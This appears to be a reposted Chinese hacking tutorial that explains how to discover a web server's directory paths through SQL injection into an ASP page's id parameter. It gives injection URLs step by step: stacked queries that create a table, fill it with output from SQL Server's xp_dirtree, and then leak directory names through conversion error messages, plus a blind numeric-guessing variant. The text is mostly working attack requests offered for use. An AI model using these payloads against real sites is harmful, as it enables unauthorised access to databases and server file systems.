SQL Server取得网站路径的几种方法及比较


如果网站只开了80端口,你会发现下面的方法是比较有用的,其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的)

第一种方法:

这个是<<怪异的SQL注入 designtimesp=16725>>中介绍的方法

利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)

建立表

语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!说明建表成功!继续!

(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --

返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)

语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’@Inetpub’))--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

好我们继续

语句:

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’@Inetpub’,’test’))--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 ’haha’转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,

一点技巧:

有时候你会发现当输入类似

http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

时不是显示出错,而是网页显示正常

晕了吧,别紧张哈

看看0<>(select top 1 paths from dirs) 说明返回是一个数字,

哈哈,测试一下看看是多少吧

100>(select top 1 paths from dirs)

返回正常

哈哈,用这种大于小于的方法很快就能猜出了

好我们继续

比如当出现

59=(select top 1 paths from dirs)

返回正常,

ok,说明名字是59

输入如下

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( ’59’))--

记得带上引号哟

下面的方法就和原来的一样的了

本文作者:
« 
» 
快速导航

Copyright © 2016 phpStudy | 豫ICP备2021030365号-3